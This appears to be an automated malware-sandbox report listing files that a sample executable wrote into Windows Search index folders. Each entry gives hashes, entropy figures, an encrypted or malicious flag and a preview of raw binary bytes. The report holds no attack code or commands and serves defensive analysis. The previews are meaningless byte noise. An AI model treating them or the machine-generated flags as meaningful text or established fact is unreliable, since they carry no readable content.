C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appsconversions.txt

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1426236
Entropy (8bit):	5.415759420371446
Encrypted:	false
SSDEEP:	24576:KvGtN5Mjdr9yEKzC79ufKZDXkmn63mlDEyjMp:KvajMVD4R
MD5:	F8DB7FA0941F9409E5CE603A181059A4
SHA1:	FE91827DCDFE7D36FB105102CFBB2BC41CB9C01F
SHA-256:	D37FDB097F953FD5A99833006DB6C4C43B456712D3C8E26889B8C996216DF17B
SHA-512:	CB7126CEE76BC5515A62C15C8C00929297F734D33A9111B34BFE6F17F9246D467C026000363AC3CCB3CECAA5767FC8BB663DECC6E91691E2D11D11F22E3758AB
Malicious:	false
Preview:	marke..q^J.n...4...C.E..`.@a......./..\|.I.q}8.d.l...8.$......hxBz.....}O...-.Q..B..{..'..Z.uw.27..b.69\.......}..eM..}..X<].zOJ.!?.....:...;.f.`n...5..........:s.d....;.v%..T........u.F..+........c.S...'......8p\|........KNW.....Vd...Sdg.uV0.:.....G.....p4.....[.9.......e...{.@c.H.-....-.?.`q..!...m...UN.&...\..s#L;1.x..c`q.K0.(T-.x=/`...W...ARC..S.=.E.vP^3..~....SF.fc...;..H..../nc...fs.....,x...=..!.v..\|{E6.9...D.J.!.Z=p<X..:B\|...Z...... }./..M..\.)..M..7@..k5^!A..Z....;....._...D+@...Q@.#U.[.?%.........\+..t...VD,.M..........w,&..%p.=.d..Z["I7As-...O ..a..j..M.3.,>...3.4vTq%...5..c....f.+..."8.._...%E..#.q..zW...D.DR..d._....LX.O8.[..s...[..O(.. ....P86.[...rX.....<..".p!U.~W..6....B6O.^p.8n.Q......Q.o.~.....k..3^...ID..A..D....R.......U...x.(.0;^...)nMR>..fB.7..x;.l....g,..&..(3.r`.......uL.`-..VA.A.~.k..<.7L.....-U]...$.Y....Xa........"..*q........<..."...&.V..~?6.\\hu.O>..}3.u...4...~5...a9."....@q.1G.c.;..~..........s...Y.....]...U.2..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appsglobals.txt

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	352062
Entropy (8bit):	7.2272433729178704
Encrypted:	false
SSDEEP:	6144:6MURBh3Ev/Xa/+ZK6g1iuu1YL6hB5PsqCfr:6JRHE6b1i7mqir
MD5:	5101A6E5341EC5D114746FD6CA6A7C3A
SHA1:	BBE68C32616DD8989E4AC6382CE66C0DD570F3F3
SHA-256:	12ADF374F65D038D91DC35C5ED990C4A06D80B27BBEC7D9D26426D1F674434E5
SHA-512:	9D5E245CCA34F8D6376011E35ACAE13C7C5DCB117F2F448CE2D37360176691727904958EF7C1792F01E06F546A29BB5250707B3F6F0E50BB0AC3AC0D1717294D
Malicious:	true
Preview:	{1AC1..4.1..2wY...W..C.}..'n....%.-..."-....d;%..ff4.y^fV......\Tc.N*...FT .&..=..4......T.).e5.+9..........4Ka.._2..+.H.I..v..G4/......E..%P7....#...y..}.?..E..Z..o.o.......'.H...i....H.4>8g.Y..n@>?..b.....v...~.v3.o.yi.W:+Y.kJ....i........YXk.Y&...BVr!S..S.B..-M..>8.Gh.b{.U..xSo.m8...C......6^ G......p...~7....,........a,.....s......s..%.)..K..:.)r..8B.IB+}.y..c...;.....N..{..q.V...c..f.A.lo.<.C..1P[...?#M7T..d..5...Ch/..OS..V......~.8...p.-.t..a..T.Z.+.H...J...i.[j7.!Q..........^...TL.@.%o......\...D..\|...w~.e....sj.......(.U....V..'....5..!...o...%....$%.c..4...;..q8.....KvI..Mk.. F....zI..^..K..x.D5?..9%[.........}.gR..l....t...Zj.>q..^....X.W.v.^l.....&_.3..\....3..F^z......w......._..!...t{.f...y.nF..OJWv.q...T!.it.LF..#.GX..z..v..G#....].\|........;tu..3...Jy@. ....Y...!....JxE...ao..m.D.^ ..E.......O.W....!I...@a.'......I.q.4}6.....2...=.....{......e)t\l.R..T...Kh...B.b.L-......."G.\"...Y.@.....$.Izz.].!U..,[@...<....[.`...+

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appssynonyms.txt

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	243828
Entropy (8bit):	7.511414560292256
Encrypted:	false
SSDEEP:	3072:QCAmAG18ZCupjA9XYxB3V+M+dFKd2dHI1MTynq9+iXA7ICicv+zCmTXFePKG:ymAFCu5A9szP+y9yJAkcYCyXFePKG
MD5:	5C2DBC649243A514A9EABEC741A1371D
SHA1:	E0AA5C854A2A7DCC0AFC298B89AE7E73F1384E68
SHA-256:	9915737341423F2C0EB7E48B08808C0B59C7AE5EB01DC2835BDB3E291CB9A17C
SHA-512:	043AED2E943A88587D33F81DA67174CDEEDDA00B4114E522E6E4F748CAFF5D85DB5EE79C2F028BB3888B8B6510CC2694345D5AE2B25FB7007E702C1BBCC7CB3C
Malicious:	false
Preview:	\|.\|.T%...._..^.*.......5\|.pP.HB.....q..dm.U......v.}u=.....:..2/.U!...R..Z:5.m;.u3.......'-..$"....w...r....\|.....+..gg....\|.-.-}..../.c$..O.X.Zy...{..v....:-...v.......r....kUdy.m.3......hCQ\|F ".{.Nh.+O.t.t....cx...a.......Dv.8}.lDE...O0....vK.^........V..TN..j.\..l..A...I..g....7..>b_'.....`..$........6.KN.".A2.?....O....E.m.gm...$.w.2.$.~a('..........y>....GZ.d.:.<Y..g.....Xa..J.T.9/...UU..~..:.h@...........n....._.h.!...jsN.W.!..?......fIv@..5Vu............/2'..kn..ko.(4.. ..+..\..e.%\R.J'.D.5..P..Kj.Hb...?.V...i#..^r..'K.J...Y..>?.\|pH.KR.$..S.}..JV+.0..s.Q.....2Nj[n...\|..uu%........-..W.R..G70_.V..'tlqB.n..tq..R....B....5pR.?.-fJ........./.\(....-....=...-.\.&.L..=..~.2J..WC...z.y;P..D..gGV...OT.......o..7(S.g.. ..;tp.b.{F..... ".......N.F.....N..Y.V.\|..Ux..P..`9k..0.d;.5..i.K..V..xE........J..."...mw&.}Ps.V.,.WZ!..4ix......,.:......{%z..X....9K9}..T..u."...}P......K.l.I.....K.4....;..~...'..}...@.K....!5..,i9..C.....2....b.\..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settings.csg

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	788
Entropy (8bit):	7.66176080400337
Encrypted:	false
SSDEEP:	12:E603ZCk1UdLs+3009xfVZfHHyBGuid81VZ7FwumuRmkyxpYqcCkcuLHI1+cii9a:h03ZCkKdLs+3bxNZZ83FBWxpjyhjbD
MD5:	89FF5EB4449F0256A50B310FB5C82DC6
SHA1:	03AFA3D07167A48ED320A1C815267976C3A382DC
SHA-256:	C5901B3A113C225062C80CAC623D3537A8CB8C186A525F91D72886425A7702B3
SHA-512:	9843AA5300F77D4C64363F125F84BE226F4984652CCFFECD1FF6D2665CB4A8D0FACE61758DB5F1C1166DABBDA614193FCD11894734DB8BA7662F0DFF6BD3B3CC
Malicious:	false
Preview:	......e...R.....-B.H....;...H..U..S..W...K.B;...../..T.nJ.?S.........%Y?5XM.!.C....Du.TeX...=.w`4K.C1..zl.b...._..I\..."Ic..\p.5.o!.t>.R.....V....)A?.]...huY.uIP..>.v..k..R.~\ZDk.@e...>PF.5. ......[.......=..?...<.....d.DS...z...X..o_+....Z..9..n.5.,Hb.5../w.9...TFL.um....Uf;...../.......u.......BB..p..+....BbJ.....].[.-. ..J@.fwg..>.lApA)..#~..\..K.F....W.....h.C.d...Z.9....f<.y..j.I.......B..\|Y.}..Q0..fDI.Qm.....P.mE/...[.6...'u....v.M..Q.i..~"..A.#..6..#]._.N..B<..V.I ...K?6k.9N\<.}..H..>.]....~N.......z.)P..I.......3.......u%bA..!..K7.I.F.K.FS...SC...w.......<....3.{..0.+l/.....eI.....:...0.NIY..V.:.W.F..g..vI.y.R..Y..u,...V(..R(V.....0.....N..j.k....,....;....[i..2..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settings.schema

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	496
Entropy (8bit):	7.486326485185459
Encrypted:	false
SSDEEP:	12:jB3M5x9GT7rdZSM/wzufkb7MHw2DlV5N3y3Yn6BAl991+cii9a:jB879G/KM/wdwHfDlz83Ynr92bD
MD5:	67DAD0D2FF7C19E4C6C6AEBFE1134115
SHA1:	9650EFCB430894616F286F6AB98E8B806B0AFBFE
SHA-256:	0D81BEE960C8E52D04441255E0603B141437697C078AF9AFBFAF00902937C6CA
SHA-512:	7950A387219BE48B8A0B1BEF6B1811906A45CDEBF50FA9DD0ADB7FAB9FCBAC27CEE3D0015234F07C8975F21E1F69EC554B57C7C7EDD5106BE8023E4953A8017A
Malicious:	false
Preview:	Windo.... ..].l.x.^(.^.p.~..@..^.7..R...K$.kV.NL.4V.E..FtbY.......2y.N.h<I.~.....~....=..~....%._\|..3...E...%.....fc.".V.v%E...t#.j."..~...R..\|.\>.}...p{.~-+.\[..i^..X..s.n....d..&BN&..$.mG./.-Sz.D...l..C......^.q..:8..Z...E.0U.I.VFs+..>.-.r...".......B..h..<.d.Z......].3...Z..T...v.S!l......U.+..+[.F2....$...jj...J....p.-..6x......B.b@5.Y...nf=.>...%.V....zR......(.....Z..]..."E.U............ESLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingsconversions.txt

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	533084
Entropy (8bit):	6.256753971891132
Encrypted:	false
SSDEEP:	6144:xkj6jUcscjOome5Nt9vnT8wgb06sVxj8dAB4u2OsfnEa83LGWCAFdkwQknzBc8Y:Rj3wst5T5bxjiuTsP583eAMwQknzBc3
MD5:	6BB35DB4413C2D6333EAC7BFB43A9882
SHA1:	1F8392008D821F33B3E0386CFF20E3DD67758482
SHA-256:	6781009C36B7F5A3CB0BF9EB864C4AB98C84C0872E01055AC15E44B7E42D0F78
SHA-512:	55CB0DADA44A09A1A9F0BFBB73A87C6BAB440CB5E3A614A7D1C9D0A9A1D685F97CA3F2D99EC0F2DCEFC006FEE404394E11A992457D724F79DCFC2580A29FD301
Malicious:	false
Preview:	marke..6w.-...dG..l!.^.U...G....x.Lk.w.v...ruB....8....;{\[...O....Y..W.f>{ :y....MJ.....E=l.E5.p./}+..=...q....H...E..S.fX.{.2.x...._....I{..j.....R.....Vw?]#E..OQ..D.d8.....f.:....O....U..3.y.....i....V....{..E.h}8.2........5.m."mF]..u.....o.dj.'7,..`..;....(....._..O$y.....K....l.Q.l.....i...m....t.9.(,..YF.t..\6...\.c..,f^.2.4>..;W.N\|.CX...:._.uf./.......G(.S.7....}!.s..)..2.B........=.,. d.~[.....[.6<0q..5.5ND.J1...7.@.......`..9&..@..f......[c_D.......h.bRR.&o...=..>..)5..QL7d$.y\..7..n..M.1.&....Rn.^...U.ab.W........3n.j...I.41M....=k...p.\<.m.u..F..d2.c..J..p..YY.}I.2r....Z_.X.Wq..f(.y9....@.).f...@.s7.....>.8.h......K.5.............w .^...;..7.V.4.-....tG...N....z*J...e........e...cw.[y/..a..LIY.!......o....>B.;.}R.}.H-Q7..Ca.........m.SML.%..~..@.gj.H....m....q........s;...2..8........K..{F..[....m.R..6N....?..>r..?....W..q.Q(.m.wu.b~~LN...i..z.%..l..ddF..l.......z5....9.i\|..i.I].....ML....A3.. [.:%...[G.....{

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingsglobals.txt

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	44833
Entropy (8bit):	7.995511604829152
Encrypted:	true
SSDEEP:	768:cVuAkLbG0faX49EMbbzdY8cjai4S06OiwRs1KK8UCmHC720Fqhbm4gNQO:cVOG0yIWAbzdYZCS0pRsodUCEckbjQQO
MD5:	ADB6343672EFE3787073DCA80AAF6085
SHA1:	84BFD011740DE2A9FCFFD087F34D7230EABCF804
SHA-256:	B2C85A02164887D16E842253B815A8F7BE7319FF5163077C05F91BC26FBFFF7B
SHA-512:	4E30204659ACF7091375DCD8710CD25E88B9040D25AAA28DC9BB7EBF6EA7E1BBF5F4F383E83C225931D1CB4689351A08FA4F370362DA03F6A8FCB0F404DD11D6
Malicious:	true
Preview:	AAA_S...V.)[N!.D.g.5.b.....3j..u..g.q.1...E.H.?....y...J(.>....z..%a3..1.R.a......bi!.3.J..Z=.S....lh...m.~jw...k.w...o8:.r~....#.U.;5."...E.~n.....bC.wt....tw.g..\r.?..+m........7;om....\|.o).\C@....~.D.q.H.r.I.....X..`.1!../..E.j..[F.F.H..>.\ ..JO.'.....[FpWL )\|&...n...3k......Il,F.........~.. b..eY.k.....s..,..3]..E.wiK.5....B........+JUF2.T....s...I.V.....6Fo..._.@\|...@..m............j..4..9..e4ce...s.q#a...a...oJ...bF..J..[.D. .....^o.z..ru../...U.,PWf.k....887fYuJ..S.....Y...}2+8..#..l.z......).7.....h..nX...K.d...........7..NX.....U....i....t..... *Ba>.K...d...a.TL..Z..W.%4....rn..AL.........;.kl.y@....&..^x..G...]6.2..........p.[q}...j.gi".....+..$..lB.....7...."...........U.kq...iC8.;.8OV1.."..Li/.9q!.....z..5/.......{sY.S.i.....JBE}..."b.........~....R.....{..I.....K.\|... 0.~....,9d4j..$b..M.b....LJ.W..B...I....~'e.<...4.0.f#gR............0.Y..\V.K'h..,.Oy-..`..-.e.....0q2...Kii..../!.S./]..hS.P.e1..S...y.l... ..XD..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingssynonyms.txt

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	104051
Entropy (8bit):	7.998195551644406
Encrypted:	true
SSDEEP:	1536:/czzrZ5OorfjpYlvInCWxd9VjcMbJ5gsQqPQwYLgk4H6VfsTE/TvSwuC:/czzrZ5OobjvCyhPXgYPQwYXVfsoR
MD5:	A9A985244EBF630AE2337A00D153CE14
SHA1:	3F420FFE08BDD1A1187AB3D6BED0B5E09A04F7B0
SHA-256:	8C23B0A885FF3C9C77C2E3443C2DE670172414D55A66EB86AC1F01AB7DEB1947
SHA-512:	BBB0D6010BF7121C090CA7BD695A085EB20D46511EC8BA07B77BF34FBC5854E669670EC1095ACEC93189CF550241049071795420846DF588D3598EC0846BA95B
Malicious:	true
Preview:	\|pri..j..f..Q...m." 5l0.......)#.i&.Y..O.A...8..H..w5._2..A..F.!..38.,..g.x....}.<.4Z{1.}J....\|...F.>7"..>......h..s.e.@.<W.EpF&3.A..q.X2s.u........@J3r<.1n<.t.;.1'.....Yo..'t.-.E.N/.1 ..N.....%.]j).g.9.l:"..I...O...e..u.......]#?.~$5R..:.Y....C........`f.x\|..u.o..V'......P.7m.J.0n~<.WaG....R.d\|Eb..!..Y.R....C.e...]..3.#.3(...sbp.fgT..K/..1..r.....?.;Zg.sZh.:.......7..J....k.N.......Fq.....N5.c+.%...j/.i.w.../.0_.x3%.s....Hy[.Ee...W.._j...Z>.>...b.$..P."..t..ng.W!..'jsn...%.....3.........x....m.!y..2....XAs..s..7X.&....s}...\....U....9.......@...8n..K]..t^......aD........=$...rr...S....~...1..#...`.].^V...O+....<.m.5..j....R(p..V....DN.wc.=...%U....!...K)~.e..4W.BL...@X.b.......7..&..g......kQ..ni:H..yU.v...Y.ef.2...R.Or......<.....4..w.._.....T.X.S....OP.z.Y7y.L.3'o.X....)...G./..\..[iv..7.b....C..I ...dF.....6..B.0..7....I...2.z.K.^.C..!.g...V..P..M.a.}.C......;.2.?..eza...g.:.s...dH.......).{..=....&H.f.s.(...(.."....'..k.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{76cc83ea-ae96-47fc-9329-459e5ad2d67b}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	217852
Entropy (8bit):	7.584631678805966
Encrypted:	false
SSDEEP:	6144:gJrhEqDqKtBjM0Yj6JvVPyn3nqFkxbjCxc81CdX:g1hEqOK80vCX+kx5
MD5:	B7D16BBE8717BD72A4D2F1BD3F2242EC
SHA1:	0D71B4ECB9AE3C9A9C79FD25A966C5C3F176C7BA
SHA-256:	62996995C6BDA4701A8083F93C4BFFD04CA761E77033832F8065F588149D464F
SHA-512:	E68E1F4C37FCE145E7FA8EDE92095F1F9031EAAEDA8D2B1CE1AE803090A09D00EC15BC6062810F7FEC40EB164F17299F8D239E94AA0A0F7BD5DC4D09DCA5F95C
Malicious:	true
Preview:	0.0....z...4._(Oz...0C..g0...oN.:...^XB}..`.....`O.'...(/......[p..>.L.7o.....x \|.<...P.?Q}...f..9\|.T..i7.@...F....B.eC.....-..02......dq..c..v.1J.2...6lC?~.#..S...ayf ...."...#.C.l.i.o.9%.......-.......T..K.h...m....`0......S.......#...8l2.....W......NBo..z....*......2.8.....S>d......%....@..;x.F.....~.........T...4..F....C.......erA.#I'...q<iM.41..)$@.^...r..2....F......... ..5@da^.Z.l}h.n....@..)&$.E.M.W...@y.U_g..F..#...'/...BA....{.g.."..:......NIR...a#..E.:.k...s ...^/w..dX...&.tQui..r...x...JBV..:;...?.f.u.".....l.2...`..,&\n&....8..%T.`-m.ec.\W...i\|j......[.....7..3.q...V_mU.CgD..(........5.).2.qu..`Wy..+.y.xT.e.L.".e.n(..,.E...odpF..........."L...B..H.dUa...N...................1...Yl.v.pl=..A....f.g .]...._BA0j.@.mh.Q.3........;= ...w..]6..".....m..x@.4.pO...............6...?i........2..9.....\|..v.I.v..l..\.k-..2o.6Rl..W....o...t._K9V....r..T.......!.5..Oo....... 3.X....'3.[.\|..s...Rk]........6..j..DYJ....4...pMhW.3.r....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{76cc83ea-ae96-47fc-9329-459e5ad2d67b}\Settings.ft

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	239538
Entropy (8bit):	7.3523182583912
Encrypted:	false
SSDEEP:	3072:r1cEKAKl29idRibHvgoBHZRVHWtFN91p0DrMn3g0lN7NF9T4FTMYcC9ECNEFME3z:GGv4RKvga5RV2HN9j53g0lXr0leCNa
MD5:	90F73D02A87090EF9A1D6E156E9F0F71
SHA1:	BFF05B40652B50666643E7F8582F08F30C93E012
SHA-256:	6E382F1452596E98665F6CA3CD3E964CCF6CB13DF30D72712DBBCB155078BB77
SHA-512:	43BA5742AF30F523ADD6B951ECF8608534BA7324B612B36CCF564CE312102DECA57B5FB504A4E6C020ADEE766F8ADD47695AB881A508D904999E11606BE980D2
Malicious:	false
Preview:	.....?m......t&HWs.j....9q..mN..?.I.7g.G{.....:,dQ....A..J.!.....-.N..W.B...N....q.I...<...R.c../g.J..y\|.3....36......y._.....^.....O.Wv..jK^.....:.Vyr....,.:~.j.6Y......G.Nw...><..z...GPh^,.V.zi.S..U.P..o.z-..".....b.E9.o......`...<3.k.I.......o.8p.Y....f....v....#........".'..[.w_..mp..K...v.6..I.>..A....`%}..0v.=......W.Gr8R..&@.Eq.Z.AZ%.Wo!lR..u..S..b._.^..dB...1...G...t.0?..%6:...v...).............8....Q..bq+X.a..K.1[..vE.2.j+W...G,5g'.^......j@..I......4.c.3.C.E..g..x..W.j..w..,...S@#....ZE..`C.z.2JN=K ..]OA.})....Z.-..3..!=.D...8.........A.s....7$.."....g.u*..h.61.U....X.O......H.l......L.....V.....:...K... ......Y...U...A.C....!..T`....J7.%?...\|..tg...z.[..8".c].F......:R..._[.d...C.T:i...p~...._.j.......CI...1..........\|...Y..<08..d^.'..{).: ..2.....7e....<...n1...'+Zl+.1....M..V..(...j..X..+..?....P........?.c.\|.Z.....<.P\......Pm....t....l.nP....P....4D._.+..j.K&.....}.^...g!..iHv)..9....K<..........X...LMX."...r.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{76cc83ea-ae96-47fc-9329-459e5ad2d67b}\Settings.index

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1482186
Entropy (8bit):	5.6582184115346195
Encrypted:	false
SSDEEP:	24576:Cxk44lTyIjt6az+F3jv8COuZ/kr2bEEYz1jBa/mqkNRM3lVKSus:GGlhCF8hR3z1rM3lVKSus
MD5:	BF398FE35BDF83EC449460F887697845
SHA1:	57B0E3687226F0D23581D95A58BC41E411A865C6
SHA-256:	EFAB579DE689B2ACDFAC1B26F72E746138DB9FEFF55DCE971A0BB1A2D180D6C1
SHA-512:	7D1DE5EE8C0F49A8C60D39515760182153EA20B5817A2AE14FEC118512C03286AE4D8FE7FDCEA73B007588BF1A9FD46230E144D5A6A73671353ACD017A63CCF1
Malicious:	false
Preview:	Ej..D..&........[f..E.....Y....?c...4..k).W..\Ic.].R....l...............o.k......#D..R..E.D.....;.W.....,I...I.C=p.hv...&$...(.\|@.....l...B.j..}`....F...:#....j....I.x./6.-..IQ....M.....gr..j.........c2nc{.0...~S..N..$G9J.L..k.w.......e..C..je..."...W...XZ.......K.[\|....."U....n..J....SX..!..6.....iW.......4.q..S...{.X..D{\|..5fo.h..6.QSE$k....O..O.\|...d.1.=F..!...U..4N<P....E...>!a.o..h..7.J.....3.........z$w.On{.x.8...j.....w9i8.}.!.X...=.I..8.9.)....n...... .R.-A.a`...I....y.[....1..F..\|...9...X...9#i.2.l#.h..].h/..{UI.Z.HI.........c7f.>Um.Y....@0.1..L..pl..........x...5..f..uE..`.a.y..\....0..?,g.n..a.~~..-I.E..F...s2.....-....>.AV.<R..{. .;.Z4T~..-...e...QS......%..;.r^.Gn?...[.._>,.3(.....&hl..Q..,3..?.:..X.N...:.F............]Ie....[..r...(.)...K..=.h4..,.k.1.c......Z.......-..p.W}....y.... F.2.E..\.)....gF...:0..9..l.@.0...>.{.8l.7<Rg.'....^m..........d....W\|On6g8>GR.iQ..R(5o.*..0.........x.#...... .l..U....".}2.e.l

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{97b27011-f8cc-4ac9-9531-d6ee8ce92324}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	217852
Entropy (8bit):	7.583873455689355
Encrypted:	false
SSDEEP:	6144:aMlEr/C17C0an+5qAO5Pmvx4eNjCxc81Cdd:zlEj27l5bO5Oiu
MD5:	5D0A6ED4B1C23D79053EF017A091468A
SHA1:	9FC50D625F06DD70B1633FFE5E6C60E45AEC6D87
SHA-256:	ABD11B3CC35934E3D70C10D6CE4317A5A2131984AFA6C60DBC82CD3EDBF98A86
SHA-512:	A0C47AE7ED484039CFC8174698C8E93C69BA268BB4C7F2D5FB81EBF0BF5E94E9927ECD634A2D97E246BAA429985A8C5C43F1CFDA33CDC848E778608CBC64BBC9
Malicious:	true
Preview:	0.0..4. .z...yG..T...\|..O.#....u.(!4..+.`F...o3.0.C&_...).w.......3.....<.g.JZ.t.%..?20.J.........Il..<....>..[.zmF\v.......p.:....7.....e.K..Y..0...%.&,.r.e..H...a......<.Q::.r...X..=.@.............,.........).."yV.j...tk..).?~\|........?F.=%.>eG....J....z.K..u.k1.z.......@N..4..t&GM.;....Q._Q.y..zTsK......0...(.....Z.......\........t_^..........R.E8.S....?..>:A.\|.brr5..A..f..8.CS.5.}.....Um...+.)..T..3.9h.#r..tI$.P..h.rz....2.s.h.x.c....';..Qt..P5..!q;q%5..N.H..&.]..O.o.p..Z.o.Q........R..6E..7.:q^...Q..x.N.f....3....^^...vKNKU.<aTx..89.1nb>.oJ....'r..W.".@...V.g.K......w.u..`6...A~.K(X .ne...-.P.H....<.8"o...H....:d.,.t.,....f.^.S.J........b{...7X.ua&.`...9......U..[...-4..." /.n9.A/..a...~./....L...i_.y.g .s...A......=a.Hp.V.8...........$Kay.....r.l..k"0X.....R....q.,..!....<.U..n./a...........3...Jq.U.8.......r6.W.....0..gS..Se.e..v....g..8.....X..A..\|.r..6:.6D...G.{.<_uK....D_...CmRh..c.c.....p.4...N...+./....K\0.a.....[.m

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{97b27011-f8cc-4ac9-9531-d6ee8ce92324}\Settings.ft

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	239538
Entropy (8bit):	7.352114872778064
Encrypted:	false
SSDEEP:	3072:jC4FLyrUib/LjmO+CvvfVpl6XMK0dofoTsHrQPZjDnuirxPio1cC9ECNEFME3byP:mcU3yO+CvFpl6cKpATsHrQhfnvrRKCNT
MD5:	4816BDDF1CD95E5C5E9B2856A2E9B3D3
SHA1:	9EF112FF45DD724CE11598EF72F26015C3C56B41
SHA-256:	7B013567FC03DDD6ADBE7E2FF1E1254DBC782E26B5691E464E90E80C151A23F2
SHA-512:	95D27B37C6194AD90DAFE16A8C6CE109B18F8D41B8FB59611E54A5A532E6B0977D79737BE274881D094C4E09FA7B37EA4E60FC5B53BACB63D5F70ED6A91FA8D9
Malicious:	false
Preview:	......MD..^..;zU..$....C...j..{...<....C.....k.;...S.]...G."2...G.^H>8.....q...1........D.i.....9..+.d~.L6.m..N}.........N..g<.M....g..E.......f.......3@.Yp.....!V....G(.....A~......g.......R......},...j/.l_..:......o...d.....SX.&......\|.5+.\.[..H..?....Lk........#.Z.Oc.\.Z..^Z.',}....<.:.bP.5..I`....f9?d.z.C....A..C.2..%Jb:.I.^..i....8..E...(..<q}...;...)0XX..xUrB...J....]O.F........d$.L.....~....e..$&...o..T...9.".Dt5..z.R^W.T.W.....[%....~H..m.^)..t.'[\|..D..2...{8.F..?!.6..0.^....$......5t..Lw......1....i...12x=..[{..[.4...>/b.zfe..&.T4_.R~.=.3..@.E..M..^.@\|G.L.ueSi.......f..z.._0[}.$<.!2.......@.......v.......C\+\l...Q..X.[]..V'Jb.:......X.rG.do.a.a.lW...r.N!.A..~.H.\..@O..$.6.8B.G.@..E..<F0]...\|.W.+M.<cN]........N<.5rQP..#...j.........'..J9....%K...U..-.L.......!..K..)F..)r..L....n.....\4u+.$O..".)....N/..!.I...m.End...Y,....~....I./z=....2.IMp..=..2$G...I2....S..s.....$. ./...C./.....{]:,..w.%.%.G.....&....b5=..0..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{97b27011-f8cc-4ac9-9531-d6ee8ce92324}\Settings.index

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1482186
Entropy (8bit):	5.658979554065926
Encrypted:	false
SSDEEP:	24576:5wUhzwQNWTjt6az+F3jv8COuZ/kr2bEEYz1jBa/mqkNRM3lVKSuO:JICF8hR3z1rM3lVKSuO
MD5:	7FB07D9052C6A4D541E2B66FB1F77669
SHA1:	8C98220D08C2C28EA0339FF52247FBF42C1D546E
SHA-256:	7030D18097897A91F86E12935BEF67072AFAA459345A2424E7DA49E5D571B39F
SHA-512:	D7EE309432FB5AD77A6AE30B74FA97D31182F57FB02111A6738FD48B4C20FDA8F21FF5C9523C5C409B95033D231B8716402BCE97A8C8C093D59EBC5D6F852B14
Malicious:	false
